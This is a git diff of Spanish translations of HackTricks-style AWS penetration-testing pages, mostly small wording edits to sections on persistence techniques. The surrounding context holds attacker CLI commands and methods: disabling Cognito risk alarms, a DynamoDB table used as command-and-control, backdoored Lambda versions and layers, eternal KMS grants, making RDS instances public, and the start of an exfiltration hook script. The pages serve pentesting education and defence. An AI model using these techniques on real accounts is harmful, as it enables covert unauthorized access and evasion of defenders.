**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, simplemente cree un nuevo Rol y seleccione Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posee, y proporcionar acceso entre una cuenta que posee y una cuenta de AWS de terceros.\
|
||||
Se recomienda **especificar el usuario que es de confianza y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza.
|
||||
|
||||
### AWS Simple AD
|
||||
|
||||
@@ -270,10 +270,10 @@ No soportado:
|
||||
|
||||
- Relaciones de Confianza
|
||||
- Centro de Administración de AD
|
||||
- Soporte completo de PS API
|
||||
- Soporte completo de API de PS
|
||||
- Papelera de reciclaje de AD
|
||||
- Cuentas de servicio administradas por grupos
|
||||
- Extensiones de esquema
|
||||
- Cuentas de Servicio Administradas por Grupo
|
||||
- Extensiones de Esquema
|
||||
- Sin acceso directo a OS o Instancias
|
||||
|
||||
#### Federación Web o Autenticación OpenID
|
||||
@@ -282,14 +282,14 @@ La aplicación utiliza AssumeRoleWithWebIdentity para crear credenciales tempora
|
||||
|
||||
### Otras opciones de IAM
|
||||
|
||||
- Puedes **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña.
|
||||
- Puedes **descargar "Informe de Credenciales"** con información sobre las credenciales actuales (como tiempo de creación del usuario, si la contraseña está habilitada...). Puedes generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**.
|
||||
- Puede **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña.
|
||||
- Puede **descargar un "Informe de Credenciales"** con información sobre las credenciales actuales (como el tiempo de creación del usuario, si la contraseña está habilitada...). Puede generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**.
|
||||
|
||||
AWS Identity and Access Management (IAM) proporciona **control de acceso detallado** en toda AWS. Con IAM, puedes especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestionas los permisos para tu fuerza laboral y sistemas para **asegurar permisos de menor privilegio**.
|
||||
AWS Identity and Access Management (IAM) proporciona **control de acceso detallado** en toda AWS. Con IAM, puede especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestiona los permisos para su fuerza laboral y sistemas para **asegurar permisos de menor privilegio**.
|
||||
|
||||
### Prefijos de ID IAM
|
||||
### Prefijos de ID de IAM
|
||||
|
||||
En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puedes encontrar los **prefijos de ID IAM** de las claves dependiendo de su naturaleza:
|
||||
En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puede encontrar los **prefijos de ID de IAM** de las claves dependiendo de su naturaleza:
|
||||
|
||||
| ABIA | [Token portador del servicio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
@@ -322,8 +322,8 @@ Los siguientes privilegios otorgan varios accesos de lectura de metadatos:
|
||||
|
||||
### Autenticación CLI
|
||||
|
||||
Para que un usuario regular se autentique en AWS a través de CLI, necesitas tener **credenciales locales**. Por defecto, puedes configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\
|
||||
En ese archivo puedes tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\
|
||||
Para que un usuario regular se autentique en AWS a través de CLI, necesita tener **credenciales locales**. Por defecto, puede configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\
|
||||
En ese archivo puede tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\
|
||||
Ejemplo de archivo de credenciales con más de 1 perfil:
|
||||
```
|
||||
[default]
|
||||
@@ -351,7 +351,7 @@ Con este archivo de configuración, puedes usar aws cli así:
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
Si estás buscando algo **similar** a esto pero para el **navegador**, puedes revisar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
Si estás buscando algo **similar** a esto pero para el **navegador**, puedes consultar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@@ -46,7 +46,7 @@ Para agregar una acción de github como proveedor de identidad:
|
||||
```
|
||||
6. Nota en la política anterior cómo solo se autorizó una **rama** de un **repositorio** de una **organización** con un **disparador** específico.
|
||||
7. El **ARN** del **rol** que la acción de github podrá **suplantar** será el "secreto" que la acción de github necesita conocer, así que **almacénalo** dentro de un **secreto** dentro de un **entorno**.
|
||||
8. Finalmente, usa una acción de github para configurar las credenciales de AWS que serán utilizadas por el flujo de trabajo:
|
||||
8. Finalmente, usa una acción de github para configurar las credenciales de AWS que se utilizarán en el flujo de trabajo:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
@@ -78,7 +78,7 @@ role-session-name: OIDCSession
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
## OIDC - EKS Abuso
|
||||
## OIDC - Abuso de EKS
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
|
||||
@@ -12,7 +12,7 @@ Para más información, ve a:
|
||||
|
||||
### Política de Recursos
|
||||
|
||||
Modifica la política de recursos del(los) API gateway(s) para concederte acceso a ellos.
|
||||
Modifica la política de recursos de los API gateway(s) para concederte acceso a ellos.
|
||||
|
||||
### Modificar Autorizadores de Lambda
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - Cognito Persistence
|
||||
# AWS - Persistencia de Cognito
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,7 +10,7 @@ Para más información, accede a:
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistencia de usuarios
|
||||
### Persistencia de usuario
|
||||
|
||||
Cognito es un servicio que permite otorgar roles a usuarios no autenticados y autenticados y controlar un directorio de usuarios. Se pueden alterar varias configuraciones diferentes para mantener cierta persistencia, como:
|
||||
|
||||
@@ -19,7 +19,7 @@ Cognito es un servicio que permite otorgar roles a usuarios no autenticados y au
|
||||
- O a un **Identity Pool autenticado** si el atacante puede iniciar sesión
|
||||
- O **mejorar los permisos** de los roles otorgados
|
||||
- **Crear, verificar y privesc** a través de atributos controlados por usuarios o nuevos usuarios en un **User Pool**
|
||||
- **Permitir Proveedores de Identidad externos** para iniciar sesión en un User Pool o en un Identity Pool
|
||||
- **Permitir que Proveedores de Identidad externos** inicien sesión en un User Pool o en un Identity Pool
|
||||
|
||||
Consulta cómo realizar estas acciones en
|
||||
|
||||
@@ -29,7 +29,7 @@ Consulta cómo realizar estas acciones en
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se disparen alarmas**. [**Consulta la cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones:
|
||||
Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se disparen alarmas**. [**Consulta el cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
@@ -54,6 +54,6 @@ aws dynamodb put-item \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Las instancias comprometidas o funciones Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos.
|
||||
Las instancias comprometidas o funciones de Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - EC2 Persistence
|
||||
# AWS - EC2 Persistencia
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,7 +14,7 @@ Para más información, consulta:
|
||||
|
||||
Si un defensor descubre que una **instancia de EC2 fue comprometida**, probablemente intentará **aislar** la **red** de la máquina. Podría hacer esto con un **Deny NACL** explícito (pero los NACL afectan a toda la subred), o **cambiando el grupo de seguridad** para no permitir **ningún tipo de tráfico entrante o saliente**.
|
||||
|
||||
Si el atacante tenía un **reverse shell originado desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no será eliminada debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
Si el atacante tenía un **reverse shell originado desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no será cerrada debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### Administrador del Ciclo de Vida de EC2
|
||||
|
||||
@@ -27,7 +27,7 @@ Es posible programar instancias para que se ejecuten diariamente, semanalmente o
|
||||
|
||||
### Solicitud de Flota Spot
|
||||
|
||||
Las instancias spot son **más baratas** que las instancias regulares. Un atacante podría lanzar una **pequeña solicitud de flota spot por 5 años** (por ejemplo), con **asignación automática de IP** y un **user data** que envía al atacante **cuando la instancia spot inicia** y la **dirección IP** y con un **rol IAM de alto privilegio**.
|
||||
Las instancias Spot son **más baratas** que las instancias regulares. Un atacante podría lanzar una **pequeña solicitud de flota spot por 5 años** (por ejemplo), con **asignación automática de IP** y un **user data** que envía al atacante **cuando la instancia spot se inicie** y la **dirección IP** y con un **rol IAM de alto privilegio**.
|
||||
|
||||
### Instancias de Puerta Trasera
|
||||
|
||||
@@ -39,16 +39,16 @@ Un atacante podría acceder a las instancias y ponerles una puerta trasera:
|
||||
|
||||
### **Configuración de Lanzamiento de Puerta Trasera**
|
||||
|
||||
- Poner una puerta trasera en el AMI utilizado
|
||||
- Poner una puerta trasera en la AMI utilizada
|
||||
- Poner una puerta trasera en el User Data
|
||||
- Poner una puerta trasera en el Par de Claves
|
||||
|
||||
### VPN
|
||||
|
||||
Crea una VPN para que el atacante pueda conectarse directamente a través de ella a la VPC.
|
||||
Crear una VPN para que el atacante pueda conectarse directamente a través de ella a la VPC.
|
||||
|
||||
### Peering de VPC
|
||||
|
||||
Crea una conexión de peering entre la VPC de la víctima y la VPC del atacante para que pueda acceder a la VPC de la víctima.
|
||||
Crear una conexión de peering entre la VPC de la víctima y la VPC del atacante para que pueda acceder a la VPC de la víctima.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para más información, consulta:
|
||||
|
||||
### Imagen de Docker Oculta con Código Malicioso
|
||||
|
||||
Un atacante podría **subir una imagen de Docker que contenga código malicioso** a un repositorio de ECR y usarla para mantener la persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa.
|
||||
Un atacante podría **subir una imagen de Docker que contenga código malicioso** a un repositorio de ECR y usarla para mantener persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa.
|
||||
|
||||
### Política del Repositorio
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - ECS Persistence
|
||||
# AWS - Persistencia en ECS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EFS
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
|
||||
+4
-4
@@ -1,4 +1,4 @@
|
||||
# AWS - Persistencia en Elastic Beanstalk
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -22,12 +22,12 @@ Un atacante podría insertar una puerta trasera en el código dentro del reposit
|
||||
|
||||
En lugar de cambiar el código en la versión actual, el atacante podría desplegar una nueva versión de la aplicación con puerta trasera.
|
||||
|
||||
### Abusando de los Hooks del Ciclo de Vida de Recursos Personalizados
|
||||
### Abusando de los Ganchos del Ciclo de Vida de Recursos Personalizados
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Probar
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk proporciona hooks de ciclo de vida que te permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría **configurar un hook de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene el acceso a la cuenta de AWS**.
|
||||
Elastic Beanstalk proporciona ganchos de ciclo de vida que te permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría **configurar un gancho de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene el acceso a la cuenta de AWS**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
|
||||
@@ -42,6 +42,6 @@ Otorgar permisos de Administrador a una política que no sea su última versión
|
||||
|
||||
### Puerta Trasera / Crear Proveedor de Identidad
|
||||
|
||||
Si la cuenta ya confía en un proveedor de identidad común (como Github), las condiciones de la confianza podrían aumentarse para que el atacante pueda abusar de ellas.
|
||||
Si la cuenta ya confía en un proveedor de identidad común (como Github), las condiciones de la confianza podrían ser aumentadas para que el atacante pueda abusar de ellas.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,15 +12,15 @@ Para más información, consulta:
|
||||
|
||||
### Conceder acceso a través de políticas de KMS
|
||||
|
||||
Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una clave a un usuario bajo su control o incluso a una cuenta externa. Consulta la [**página de Privesc de KMS**](../aws-privilege-escalation/aws-kms-privesc.md) para más información.
|
||||
Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una clave a un usuario bajo su control o incluso a una cuenta externa. Consulta la [**página de KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) para más información.
|
||||
|
||||
### Concesión Eterna
|
||||
### Grant eterno
|
||||
|
||||
Las concesiones son otra forma de dar a un principal algunos permisos sobre una clave específica. Es posible dar una concesión que permita a un usuario crear concesiones. Además, un usuario puede tener varias concesiones (incluso idénticas) sobre la misma clave.
|
||||
Los grants son otra forma de otorgar a un principal algunos permisos sobre una clave específica. Es posible dar un grant que permita a un usuario crear grants. Además, un usuario puede tener varios grants (incluso idénticos) sobre la misma clave.
|
||||
|
||||
Por lo tanto, es posible que un usuario tenga 10 concesiones con todos los permisos. El atacante debería monitorear esto constantemente. Y si en algún momento se elimina 1 concesión, se deberían generar otras 10.
|
||||
Por lo tanto, es posible que un usuario tenga 10 grants con todos los permisos. El atacante debería monitorear esto constantemente. Y si en algún momento se elimina 1 grant, se deberían generar otros 10.
|
||||
|
||||
(Estamos usando 10 y no 2 para poder detectar que se eliminó una concesión mientras el usuario aún tiene alguna concesión)
|
||||
(Estamos usando 10 y no 2 para poder detectar que se eliminó un grant mientras el usuario aún tiene algún grant)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
|
||||
+11
-11
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@ Para más información, consulta:
|
||||
|
||||
### Persistencia de Lambda Layer
|
||||
|
||||
Es posible **introducir/backdoor una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa:
|
||||
Es posible **introducir/puerta trasera una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Persistencia de Extensiones de Lambda
|
||||
|
||||
Abusando de las Lambda Layers, también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes.
|
||||
Abusando de las Lambda Layers también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -36,25 +36,25 @@ Es posible otorgar acceso a diferentes acciones de lambda (como invocar o actual
|
||||
|
||||
Una Lambda puede tener **diferentes versiones** (con código diferente en cada versión).\
|
||||
Luego, puedes crear **diferentes alias con diferentes versiones** de la lambda y establecer diferentes pesos para cada uno.\
|
||||
De esta manera, un atacante podría crear una **versión 1 con backdoor** y una **versión 2 con solo el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso.
|
||||
De esta manera, un atacante podría crear una **versión 1 con puerta trasera** y una **versión 2 solo con el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Backdoor de Versión + API Gateway
|
||||
### Puerta trasera de versión + API Gateway
|
||||
|
||||
1. Copia el código original de la Lambda
|
||||
2. **Crea una nueva versión backdooring** el código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST
|
||||
2. **Crea una nueva versión con puerta trasera** del código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST
|
||||
1. Llama al API gateway relacionado con la lambda para ejecutar el código
|
||||
3. **Crea una nueva versión con el código original**, publica y despliega esa **versión** a $LATEST.
|
||||
1. Esto ocultará el código con backdoor en una versión anterior
|
||||
4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con backdoor de la lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Nota el final :1 del arn **indicando la versión de la función** (la versión 1 será la con backdoor en este escenario).
|
||||
1. Esto ocultará el código con puerta trasera en una versión anterior
|
||||
4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con puerta trasera de la lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Nota el final :1 del arn **indicando la versión de la función** (la versión 1 será la con puerta trasera en este escenario).
|
||||
5. Selecciona el método POST creado y en Acciones selecciona **`Deploy API`**
|
||||
6. Ahora, cuando **llames a la función vía POST, tu Backdoor** será invocado
|
||||
6. Ahora, cuando **llames a la función vía POST tu Puerta Trasera** será invocada
|
||||
|
||||
### Actuador Cron/Event
|
||||
|
||||
El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa un tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\
|
||||
El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa el tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\
|
||||
Aquí tienes algunas ideas para hacer tu **presencia en AWS más sigilosa creando lambdas**.
|
||||
|
||||
- Cada vez que se crea un nuevo usuario, lambda genera una nueva clave de usuario y se la envía al atacante.
|
||||
|
||||
+5
-5
@@ -6,8 +6,8 @@
|
||||
|
||||
Las extensiones de Lambda mejoran las funciones al integrarse con varias **herramientas de monitoreo, observabilidad, seguridad y gobernanza**. Estas extensiones, añadidas a través de [.zip archives usando capas de Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluidas en [despliegues de imágenes de contenedor](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operan en dos modos: **interno** y **externo**.
|
||||
|
||||
- **Las extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**.
|
||||
- **Las extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**.
|
||||
- **Extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**.
|
||||
- **Extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**.
|
||||
|
||||
Para más información sobre [**cómo funcionan las extensiones de lambda, consulta la documentación**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
@@ -15,18 +15,18 @@ Para más información sobre [**cómo funcionan las extensiones de lambda, consu
|
||||
|
||||
Este es un resumen de la técnica propuesta en esta publicación: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
Se encontró que el kernel de Linux predeterminado en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.**
|
||||
Se encontró que el kernel de Linux por defecto en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.**
|
||||
|
||||
Además, aunque las extensiones de Lambda tienen la capacidad de **suscribirse a eventos de invocación**, AWS no revela los datos en bruto a estas extensiones. Esto asegura que **las extensiones no pueden acceder a información sensible** transmitida a través de la solicitud HTTP.
|
||||
|
||||
El proceso Init (Rapid) monitorea todas las solicitudes de API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda se inicializan y se ejecutan antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid.
|
||||
El proceso Init (Rapid) monitorea todas las solicitudes API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda son inicializadas y ejecutadas antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
La variable **`AWS_LAMBDA_RUNTIME_API`** indica la **IP** y el **número de puerto** de la API de Rapid a **los procesos de tiempo de ejecución hijo** y extensiones adicionales.
|
||||
|
||||
> [!WARNING]
|
||||
> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que permite la alteración del número de puerto.
|
||||
> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que habilita la alteración del número de puerto.
|
||||
|
||||
Debido a que **las extensiones se ejecutan antes de cualquier código de tiempo de ejecución**, modificar la variable de entorno influirá en el proceso de tiempo de ejecución (por ejemplo, Python, Java, Node, Ruby) a medida que se inicia. Además, **las extensiones cargadas después** de la nuestra, que dependen de esta variable, también se enrutarán a través de nuestra extensión. Esta configuración podría permitir que el malware eluda completamente las medidas de seguridad o las extensiones de registro directamente dentro del entorno de tiempo de ejecución.
|
||||
|
||||
|
||||
+2
-2
@@ -6,7 +6,7 @@
|
||||
|
||||
Una capa de Lambda es un archivo .zip que **puede contener código adicional** u otro contenido. Una capa puede contener bibliotecas, un [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), datos o archivos de configuración.
|
||||
|
||||
Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, **el contenido se extrae en el directorio `/opt`** en el entorno de ejecución.
|
||||
Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, el **contenido se extrae en el directorio `/opt`** en el entorno de ejecución.
|
||||
|
||||
Por **defecto**, las **capas** que creas son **privadas** para tu cuenta de AWS. Puedes optar por **compartir** una capa con otras cuentas o **hacer** que la capa sea **pública**. Si tus funciones consumen una capa que publicó otra cuenta, tus funciones pueden **seguir utilizando la versión de la capa después de que haya sido eliminada, o después de que se revoque tu permiso para acceder a la capa**. Sin embargo, no puedes crear una nueva función ni actualizar funciones utilizando una versión de capa eliminada.
|
||||
|
||||
@@ -54,7 +54,7 @@ Y esta es la lista de **bibliotecas** que **lambda incluye instaladas por defect
|
||||
|
||||
En este ejemplo supongamos que el código objetivo está importando **`csv`**. Vamos a **inyectar el import de la biblioteca `csv`**.
|
||||
|
||||
Para hacer eso, vamos a **crear el directorio csv** con el archivo **`__init__.py`** en él en una ruta que es cargada por lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Para hacer eso, vamos a **crear el directorio csv** con el archivo **`__init__.py`** en él en una ruta que sea cargada por lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Luego, cuando la lambda se ejecute e intente cargar **csv**, nuestro **archivo `__init__.py` será cargado y ejecutado**.\
|
||||
Este archivo debe:
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - Lightsail Persistence
|
||||
# AWS - Persistencia en Lightsail
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -20,14 +20,14 @@ Un atacante podría acceder a las instancias y ponerles una puerta trasera:
|
||||
|
||||
- Usando un **rootkit** tradicional, por ejemplo
|
||||
- Agregando una nueva **clave SSH pública**
|
||||
- Exponer un puerto con port knocking con una puerta trasera
|
||||
- Exponiendo un puerto con port knocking con una puerta trasera
|
||||
|
||||
### Persistencia DNS
|
||||
|
||||
Si los dominios están configurados:
|
||||
|
||||
- Crear un subdominio apuntando a tu IP para que tengas un **subdomain takeover**
|
||||
- Crear un registro **SPF** que te permita enviar **emails** desde el dominio
|
||||
- Configurar la **IP del dominio principal a la tuya** y realizar un **MitM** desde tu IP a las legítimas
|
||||
- Crea un subdominio apuntando a tu IP para que tengas un **subdomain takeover**
|
||||
- Crea un registro **SPF** que te permita enviar **emails** desde el dominio
|
||||
- Configura la **IP del dominio principal a la tuya** y realiza un **MitM** desde tu IP a las legítimas
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - RDS Persistence
|
||||
# AWS - Persistencia en RDS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,13 +12,13 @@ Para más información, consulta:
|
||||
|
||||
### Hacer que la instancia sea accesible públicamente: `rds:ModifyDBInstance`
|
||||
|
||||
Un atacante con este permiso puede **modificar una instancia RDS existente para habilitar la accesibilidad pública**.
|
||||
Un atacante con este permiso puede **modificar una instancia de RDS existente para habilitar la accesibilidad pública**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Crear un usuario administrador dentro de la DB
|
||||
|
||||
Un atacante podría **crear un usuario dentro de la DB** para que incluso si se modifica la contraseña del usuario maestro, **no pierda el acceso** a la base de datos.
|
||||
Un atacante podría **crear un usuario dentro de la DB** para que, incluso si se modifica la contraseña del usuario maestro, **no pierda el acceso** a la base de datos.
|
||||
|
||||
### Hacer la instantánea pública
|
||||
```bash
|
||||
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
# AWS - Persistencia en Secrets Manager
|
||||
# AWS - Persistencia de Secrets Manager
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
